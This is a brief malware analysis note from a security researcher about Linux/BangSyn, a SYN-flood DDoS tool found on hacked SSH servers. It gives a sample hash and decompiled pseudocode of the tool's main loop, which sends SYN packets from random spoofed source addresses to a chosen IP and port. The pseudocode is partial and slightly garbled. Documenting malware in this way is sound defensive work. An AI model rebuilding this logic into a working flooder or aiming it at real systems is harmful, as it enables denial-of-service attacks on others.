Linux/BangSyn (made in China)

Linux/BangSyn (made in China)

This is a command-line DDoS SYN packet tool, spotted at hacked SSH servers.

hash: 20112a6c0cd7e85e07d0ce385ec37bcd
(Sample I downloaded to VT)

reversing result for main fnc:

 main(arg1, arg2)
 {
  time(timer);
  var00 = arg2;
  var11 = 80;
  var13 = 1000;
  var14 = atof(*(const char)(arg2 + 24));
  if ( arg1 <= 1 )
  {
    printf("syntax: ./bangsyn ip port time \n", *(arg2);
    exit(0);
  }
  var10 = host2ip(*(arg2 + 8));
  if ( arg1 > 2 )
    var11 = atoi(*(const char)(arg2 + 16));
  if ( arg1 > 3 )
    var13 = atoi(*(const char)(arg2 + 24));
  if ( !v11 )
    var11 = 80;
  if ( !v13 )
    var13 = 1000;
  puts("\nsantong syn: ");
  printf("IP: %s\n", *(arg2));
  printf("Port: %u\n", var11);
  printf("Seconds: %d\n\n", var13);
  var15 = 0.0;
  while ( v14 >= (double)(time(0) - timer[0]) )
  {
    var6 = rand() * 255.0 / 2147483648.0) + 1;
    var7 = rand() * 255.0 / 2147483648.0) + 1;
    var8 = rand() * 255.0 / 2147483648.0) + 1;
    var9 = rand() * 255.0 / 2147483648.0) + 1;
    var12 = 80;
    sprintf(&s, "%d.%d.%d.%d", var6, var7, var8, var9);
    var5 = host2ip(&s);
    dosynpacket(var5, var10, var11, var12);
    var15 = var15 + 1.0;
  }
  return printf("\nPackets Sent: %d \n", var15);
}

@unixfreaxjp #MalwareMustDie!